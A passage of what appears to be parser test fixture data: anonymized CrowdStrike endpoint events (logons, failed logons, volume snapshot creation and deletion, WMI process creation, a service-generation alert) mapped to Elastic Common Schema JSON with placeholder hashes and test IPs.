"{\"UserIsAdmin\":\"1\",\"LogoffTime\":\"1745913154.660\",\"LogonTime\":\"1745989529.811\",\"aip\":\"216.160.83.56\",\"LogonDomain\":\"742a2b40\",\"RemoteAccount\":\"0\",\"UserSid\":\"S-5282-72526-65462-33571-94897-74826-26210\",\"event_platform\":\"Win\",\"UserFlags\":\"230\",\"EventOrigin\":\"1\",\"LogonServer\":\"742a2b40\",\"id\":\"d42b0220749ccf3c12046d08207cd42e3e36\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserLogoff\",\"UserName\":\"e00908ad\",\"ConfigStateHash\":\"3440491101\",\"LogonType\":\"4\",\"AuthenticationPackage\":\"80af\",\"AuthenticationId\":\"9134169010\",\"UserPrincipal\":\"\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"1677255764.322\",\"UserLogoffType\":\"3\",\"Entitlements\":\"66\",\"name\":\"035509012de2\",\"UserLogonFlags\":\"6\",\"aid\":\"e4b4d652bb68d0b6eaf25c3a357bd566\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "domain": "742a2b40", - "id": "e4b4d652bb68d0b6eaf25c3a357bd566", - "os": { - "type": "windows" - } - }, - "message": "UserLogoff", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "e4b4d652bb68d0b6eaf25c3a357bd566", - "version": "2c8b.4.ae3729d.e6" - }, - "related": { - "hash": [ - "3440491101" - ], - "hosts": [ - "742a2b40" - ], - "ip": [ - "216.160.83.56" - ], - "user": [ - "e00908ad", - "S-5282-72526-65462-33571-94897-74826-26210" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-5282-72526-65462-33571-94897-74826-26210", - "name": "e00908ad", - "roles": [ - "admin" - ] - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ClientComputerName": "98ecc4", - "ConfigStateHash": "7800020060", - "ContextProcessId": "2014546000418", - "ContextTimeStamp": "2025-08-24T20:05:40.160Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "46", - "EtwRawProcessId": 273, - "EtwRawThreadId": 9360, - "EventOrigin": "1", - "LogonType": "3", - "Status": "7810500605", - "SubStatus": "2782800370", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "abcd637574e3e621a022d447ce47204dcb70", - "name": "ed7b4a3a01737761db" - }, - "destination": { - "address": "216.160.83.56", - "as": { - "number": 209 - }, - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": "216.160.83.56" - }, - "device": { - "id": "82e84213f5e5ad2820ee7b0f905b8f43" - }, - "event": { - "action": "UserLogonFailed2", - "category": [ - "authentication" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "abcd637574e3e621a022d447ce47204dcb70|82e84213f5e5ad2820ee7b0f905b8f43|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextThreadId\":\"610009300097503\",\"aip\":\"81.2.69.142\",\"LogonDomain\":\"6e\",\"event_platform\":\"Win\",\"ClientComputerName\":\"98ecc4\",\"EventOrigin\":\"1\",\"id\":\"abcd637574e3e621a022d447ce47204dcb70\",\"SubStatus\":\"2782800370\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"Status\":\"7810500605\",\"event_simpleName\":\"UserLogonFailed2\",\"RawProcessId\":\"173\",\"ContextTimeStamp\":\"1756065940.160\",\"UserName\":\"6cc6d9fae629fd277\",\"ConfigStateHash\":\"7800020060\",\"EtwRawProcessId\":\"273\",\"ContextProcessId\":\"2014546000418\",\"LogonType\":\"3\",\"EtwRawThreadId\":\"9360\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"3014546000418\",\"Entitlements\":\"46\",\"name\":\"ed7b4a3a01737761db\",\"aid\":\"82e84213f5e5ad2820ee7b0f905b8f43\",\"RemoteAddressIP4\":\"216.160.83.56\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "failure", - "type": [ - "start" - ] - }, - "host": { - "domain": "6e", - "id": "82e84213f5e5ad2820ee7b0f905b8f43", - "os": { - "type": "windows" - } - }, - "message": "UserLogonFailed2", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "82e84213f5e5ad2820ee7b0f905b8f43", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3014546000418", - "pid": 173, - "thread": { - "id": 610009300097503 - } - }, - "related": { - "hash": [ - "7800020060" - ], - "hosts": [ - "98ecc4" - ], - "ip": [ - "81.2.69.142", - "216.160.83.56" - ], - "user": [ - "6cc6d9fae629fd277" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "6cc6d9fae629fd277" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "7800020060", - "ContextProcessId": "2014546000418", - "ContextTimeStamp": "2025-05-10T01:07:19.892Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "16", - "EventOrigin": "1", - "TreeId": "929834768029", - "UserLogonFlags": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "498499842694e5b09e8a1c4abfe2eb414696", - "name": "9d199e1f177dd175a" - }, - "device": { - "id": "82e84213f5e5ad2820ee7b0f905b8f43" - }, - "event": { - "action": "UserLogonFailed", - "category": [ - "authentication" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "498499842694e5b09e8a1c4abfe2eb414696|82e84213f5e5ad2820ee7b0f905b8f43|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"UserLogonFailed\",\"ContextTimeStamp\":\"1746839239.892\",\"UserName\":\"6cc6d9fae629fd277\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"2014546000418\",\"LogonTime\":\"\",\"ContextThreadId\":\"610009300097503\",\"aip\":\"81.2.69.192\",\"UserSid\":\"S-25871-2981-333\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"PasswordLastSet\":\"\",\"TreeId\":\"929834768029\",\"Entitlements\":\"16\",\"name\":\"9d199e1f177dd175a\",\"EventOrigin\":\"1\",\"UserLogonFlags\":\"1\",\"id\":\"498499842694e5b09e8a1c4abfe2eb414696\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"82e84213f5e5ad2820ee7b0f905b8f43\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "failure", - "type": [ - "start" - ] - }, - "host": { - "id": "82e84213f5e5ad2820ee7b0f905b8f43", - "os": { - "type": "windows" - } - }, - "message": "UserLogonFailed", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "82e84213f5e5ad2820ee7b0f905b8f43", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "2014546000418", - "thread": { - "id": 610009300097503 - } - }, - "related": { - "hash": [ - "7800020060" - ], - "ip": [ - "81.2.69.192" - ], - "user": [ - "6cc6d9fae629fd277", - "S-25871-2981-333" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-25871-2981-333", - "name": "6cc6d9fae629fd277" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "4084727020", - "AuthenticationPackage": "43c19a09", - "ClientComputerName": "d51a37d47316ea", - "ConfigStateHash": "3440491101", - "ContextProcessId": "1776052010570", - "ContextTimeStamp": "2025-10-05T15:21:41.966Z", - "EffectiveTransmissionClass": "2", - "EnabledPrivilegesBitmask": "2034200020", - "Entitlements": "56", - "EventOrigin": "1", - "LogonServer": "be2c2f", - "LogonTime": "2025-04-29T17:48:07.174Z", - "LogonType": "4", - "PasswordLastSet": "1559926561.421", - "PrivilegesBitmask": "900780039900", - "RemoteAccount": "1", - "UserFlags": "52", - "UserGroupsBitmask": "8043300404", - "UserLogonFlags": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "064eb67301d3224008ad7aee62c85ce3b9f2", - "name": "184e1f7f8f1" - }, - "device": { - "id": "43efa5759b9c618d8565a64ba39b729c" - }, - "event": { - "action": "UserLogon", - "category": [ - "authentication" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "064eb67301d3224008ad7aee62c85ce3b9f2|43efa5759b9c618d8565a64ba39b729c|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"UserIsAdmin\":\"1\",\"LogonTime\":\"1745948887.174\",\"ContextThreadId\":\"500010382010308\",\"aip\":\"216.160.83.56\",\"LogonDomain\":\"6e\",\"RemoteAccount\":\"1\",\"UserSid\":\"S-46253-20659-68776-75234-87277-33222-58161\",\"event_platform\":\"Win\",\"UserFlags\":\"52\",\"ClientComputerName\":\"d51a37d47316ea\",\"EventOrigin\":\"1\",\"LogonServer\":\"be2c2f\",\"id\":\"064eb67301d3224008ad7aee62c85ce3b9f2\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserLogon\",\"ContextTimeStamp\":\"1759677701.966\",\"UserName\":\"a7b663ef867\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"1776052010570\",\"LogonType\":\"4\",\"PrivilegesBitmask\":\"900780039900\",\"AuthenticationPackage\":\"43c19a09\",\"AuthenticationId\":\"4084727020\",\"UserPrincipal\":\"testuser@test.com\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"1559926561.421\",\"Entitlements\":\"56\",\"name\":\"184e1f7f8f1\",\"UserLogonFlags\":\"0\",\"EnabledPrivilegesBitmask\":\"2034200020\",\"aid\":\"43efa5759b9c618d8565a64ba39b729c\",\"UserGroupsBitmask\":\"8043300404\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "domain": "6e", - "id": "43efa5759b9c618d8565a64ba39b729c", - "os": { - "type": "windows" - } - }, - "message": "UserLogon", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "43efa5759b9c618d8565a64ba39b729c", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "1776052010570", - "thread": { - "id": 500010382010308 - } - }, - "related": { - "hash": [ - "3440491101" - ], - "hosts": [ - "be2c2f", - "d51a37d47316ea" - ], - "ip": [ - "216.160.83.56" - ], - "user": [ - "a7b663ef867", - "testuser", - "testuser@test.com", - "S-46253-20659-68776-75234-87277-33222-58161" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "test.com", - "email": "testuser@test.com", - "full_name": "testuser", - "id": "S-46253-20659-68776-75234-87277-33222-58161", - "name": "a7b663ef867", - "roles": [ - "admin" - ] - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "892001000", - "ContextProcessId": "3093093002701", - "ContextTimeStamp": "2025-06-13T18:18:15.450Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "16", - "EventOrigin": "1", - "InterfaceGuid": "fa20370b2cc4c0e88d161f705a2bba7fbe37", - "InterfaceVersion": "0", - "RpcClientProcessId": "4000150007426", - "RpcClientThreadId": "680008401000314", - "RpcNestingLevel": "0", - "RpcOpNum": "8", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "f6b9775ac6046bae94a4121496a6896a86f6", - "name": "20c2ece111ed142fd2567b9" - }, - "device": { - "id": "3dc8ee79410457af4c28499efe37b5bc" - }, - "event": { - "action": "VolumeSnapshotCreated", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "f6b9775ac6046bae94a4121496a6896a86f6|3dc8ee79410457af4c28499efe37b5bc|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextThreadId\":\"100445831083903\",\"aip\":\"89.160.20.112\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"fa20370b2cc4c0e88d161f705a2bba7fbe37\",\"RpcClientProcessId\":\"4000150007426\",\"id\":\"f6b9775ac6046bae94a4121496a6896a86f6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"VolumeSnapshotCreated\",\"ContextTimeStamp\":\"1749838695.450\",\"UserName\":\"481403faf1d\",\"ConfigStateHash\":\"892001000\",\"ContextProcessId\":\"3093093002701\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"680008401000314\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"RpcOpNum\":\"8\",\"Entitlements\":\"16\",\"name\":\"20c2ece111ed142fd2567b9\",\"aid\":\"3dc8ee79410457af4c28499efe37b5bc\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\da2d906a\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\6ba0bd", - "name": "da2d906a", - "path": "\\6ba0bd\\da2d906a", - "type": "file" - }, - "host": { - "id": "3dc8ee79410457af4c28499efe37b5bc", - "os": { - "type": "windows" - } - }, - "message": "VolumeSnapshotCreated", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "3dc8ee79410457af4c28499efe37b5bc", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "entity_id": "3093093002701", - "thread": { - "id": 100445831083903 - } - }, - "related": { - "hash": [ - "892001000" - ], - "ip": [ - "89.160.20.112" - ], - "user": [ - "481403faf1d" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "481403faf1d" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "7800020060", - "ContextProcessId": "8000830008430", - "ContextTimeStamp": "2025-10-09T17:02:20.183Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "26", - "EventOrigin": "1", - "InterfaceGuid": "48e8e6085fac8e183337f9647e2623b38023", - "InterfaceVersion": "0", - "RpcClientProcessId": "5000504040107", - "RpcClientThreadId": "914521090820021", - "RpcNestingLevel": "1", - "RpcOpNum": "40", - "SHA256HashData": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68", - "TokenType": "1", - "VolumeDriveLetter": "82", - "VolumeName": "\\6ba0bd\\257d4e13", - "VolumeSnapshotName": "\\6ba0bd\\8536f344", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "00d920a4c248b10173113fc4155a74b4b655", - "name": "1523f0687a552764e446cf1" - }, - "device": { - "id": "10ee42b0c65b014b6197f3d92782c4ad" - }, - "event": { - "action": "VolumeSnapshotDeleted", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "00d920a4c248b10173113fc4155a74b4b655|10ee42b0c65b014b6197f3d92782c4ad|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextThreadId\":\"449040000360080\",\"aip\":\"81.2.69.142\",\"VolumeDriveLetter\":\"82\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"VolumeSnapshotName\":\"\\\\6ba0bd\\\\8536f344\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"48e8e6085fac8e183337f9647e2623b38023\",\"RpcClientProcessId\":\"5000504040107\",\"id\":\"00d920a4c248b10173113fc4155a74b4b655\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"VolumeSnapshotDeleted\",\"VolumeName\":\"\\\\6ba0bd\\\\257d4e13\",\"ContextTimeStamp\":\"1760029340.183\",\"UserName\":\"580d88d\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"8000830008430\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"914521090820021\",\"SHA256HashData\":\"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"54d\\\\d598026\\\\4a6a0a4b\\\\a096c58f.exe\\\"\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\a096c58f.exe\",\"RpcOpNum\":\"40\",\"Entitlements\":\"26\",\"name\":\"1523f0687a552764e446cf1\",\"aid\":\"10ee42b0c65b014b6197f3d92782c4ad\",\"RpcNestingLevel\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "deletion" - ] - }, - "host": { - "id": "10ee42b0c65b014b6197f3d92782c4ad", - "os": { - "type": "windows" - } - }, - "message": "VolumeSnapshotDeleted", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "10ee42b0c65b014b6197f3d92782c4ad", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "54d\\d598026\\4a6a0a4b\\a096c58f.exe" - ], - "args_count": 1, - "command_line": "54d\\d598026\\4a6a0a4b\\a096c58f.exe\"", - "entity_id": "8000830008430", - "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe", - "name": "a096c58f.exe", - "thread": { - "id": 449040000360080 - } - }, - "related": { - "hash": [ - "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68", - "7800020060" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "580d88d" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "580d88d" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "400605500", - "BoundingLimitCount": 1, - "BoundingLimitDuration": "1486640", - "ConfigStateHash": "450007109", - "ContextTimeStamp": "2025-10-19T21:43:27.570Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "86", - "EventOrigin": "1", - "RpcClientProcessId": "901070429000", - "RpcClientThreadId": "5500404207604", - "TokenType": "2", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "4fd1a6718f8c7a25e6af1b5af89b5565a443", - "name": "4d986d3e22110751d0" - }, - "device": { - "id": "8bba3f79ae72c48db0721bce1cc23f47" - }, - "event": { - "action": "WmiCreateProcess", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "4fd1a6718f8c7a25e6af1b5af89b5565a443|8bba3f79ae72c48db0721bce1cc23f47|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"WmiCreateProcess\",\"ContextTimeStamp\":\"1760910207.570\",\"UserName\":\"f3c32fdf5aef1041\",\"ConfigStateHash\":\"450007109\",\"aip\":\"81.2.69.192\",\"RpcClientThreadId\":\"5500404207604\",\"BoundingLimitCount\":\"1\",\"AuthenticationId\":\"400605500\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"43126eea\\\\79499b4.1\\\\48\\\\a686\\\\44dc\\\\9f8c9452\\\\30973301\\\\6961403c.txt\\\" 2>&1\\\"\",\"TokenType\":\"2\",\"TargetProcessId\":\"341000415765\",\"BoundingLimitDuration\":\"1486640\",\"ImageFileName\":\"\\\\6ba0bd\\\\6cf19058\\\\d598026\\\\dc9ec376\\\\04d.exe\",\"Entitlements\":\"86\",\"name\":\"4d986d3e22110751d0\",\"EventOrigin\":\"1\",\"RpcClientProcessId\":\"901070429000\",\"id\":\"4fd1a6718f8c7a25e6af1b5af89b5565a443\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8bba3f79ae72c48db0721bce1cc23f47\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "8bba3f79ae72c48db0721bce1cc23f47", - "os": { - "type": "windows" - } - }, - "message": "WmiCreateProcess", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "8bba3f79ae72c48db0721bce1cc23f47", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "args": [ - "43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt 2>&1" - ], - "args_count": 1, - "command_line": "43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"", - "entity_id": "341000415765", - "executable": "\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe", - "name": "04d.exe" - }, - "related": { - "hash": [ - "450007109" - ], - "ip": [ - "81.2.69.192" - ], - "user": [ - "f3c32fdf5aef1041" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "f3c32fdf5aef1041" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ClientComputerName": "f2752e89", - "ConfigStateHash": "750096004", - "ContextProcessId": "9977300700005", - "ContextTimeStamp": "2025-05-09T10:14:21.429Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "1", - "PatternId": "260", - "PerformanceCounter": "c0350cfa279c5991", - "WmiProviderName": "\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8", - "WmiProviderType": "425f2336", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "08b4a44cd2f229eadaa6f64169deb30db7f7", - "name": "256ae77a9371219d15d0ae429aae" - }, - "device": { - "id": "fe88182661659af8a192fac5db624574" - }, - "event": { - "action": "WmiProviderRegistrationEtw", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "08b4a44cd2f229eadaa6f64169deb30db7f7|fe88182661659af8a192fac5db624574|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"aip\":\"81.2.69.144\",\"WmiProviderType\":\"425f2336\",\"event_platform\":\"Win\",\"PatternId\":\"260\",\"ClientComputerName\":\"f2752e89\",\"EventOrigin\":\"1\",\"id\":\"08b4a44cd2f229eadaa6f64169deb30db7f7\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"WmiProviderRegistrationEtw\",\"ContextTimeStamp\":\"1746785661.429\",\"UserName\":\"207ef664\\\\d621c1\",\"ConfigStateHash\":\"750096004\",\"WmiProviderName\":\"\\\\c\\\\4813\\\\155e1\\\\63acf3b8.Name=\\\\6c12b79e.0\\\\8\",\"EtwRawProcessId\":\"4080\",\"ContextProcessId\":\"9977300700005\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"CommandLine\":\"82\\\\340d600\\\\dc9ec376\\\\c663c82b\\\\3819b3fa\\\\0c83.inf_amd64_7928011f35860ca3\\\\c53e7\\\\a3d70a9.exe\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\c663c82b\\\\3819b3fa\\\\0c83.inf_amd64_7928011f35860ca3\\\\c53e7\\\\a3d70a9.exe\",\"Entitlements\":\"76\",\"name\":\"256ae77a9371219d15d0ae429aae\",\"ProcessStartTime\":\"1745961781.179\",\"PerformanceCounter\":\"c0350cfa279c5991\",\"aid\":\"fe88182661659af8a192fac5db624574\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "fe88182661659af8a192fac5db624574", - "os": { - "type": "windows" - } - }, - "message": "WmiProviderRegistrationEtw", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "fe88182661659af8a192fac5db624574", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "args": [ - "82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe" - ], - "args_count": 1, - "command_line": "82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe", - "entity_id": "9977300700005", - "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe", - "name": "a3d70a9.exe", - "pid": 4080, - "start": "2025-04-29T21:23:01.179Z" - }, - "related": { - "hash": [ - "750096004" - ], - "hosts": [ - "f2752e89" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "207ef664\\d621c1" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "207ef664\\d621c1" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "710307050", - "ContextProcessId": "48146963060067", - "EffectiveTransmissionClass": "3", - "Entitlements": "16", - "EventOrigin": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "b2cdcff3f1ec7958dd0f0d3b83d51360bfa4", - "name": "993018c29291eaa31ad975c11fbbae3390" - }, - "device": { - "id": "945a25b2d8f219a0693641fa5daeb3c4" - }, - "event": { - "action": "WroteExeAndGeneratedServiceEvent", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "b2cdcff3f1ec7958dd0f0d3b83d51360bfa4|945a25b2d8f219a0693641fa5daeb3c4|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"event_simpleName\":\"WroteExeAndGeneratedServiceEvent\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"48146963060067\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"16\",\"name\":\"993018c29291eaa31ad975c11fbbae3390\",\"EventOrigin\":\"1\",\"id\":\"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"945a25b2d8f219a0693641fa5daeb3c4\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "host": { - "id": "945a25b2d8f219a0693641fa5daeb3c4", - "os": { - "type": "windows" - } - }, - "message": "WroteExeAndGeneratedServiceEvent", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "945a25b2d8f219a0693641fa5daeb3c4", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "48146963060067" - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "81.2.69.144" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "329", - "ConfigStateHash": "9080101000", - "ContextBaseFileName": "7b31c1d240b3d", - "ContextProcessId": "356301901002", - "ContextTimeStamp": "2025-10-15T11:10:28.961Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "1", - "FileCategory": "1", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-43058-61586-47269", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "2b0434b299dc23d3e66d5af40855f712e176", - "name": 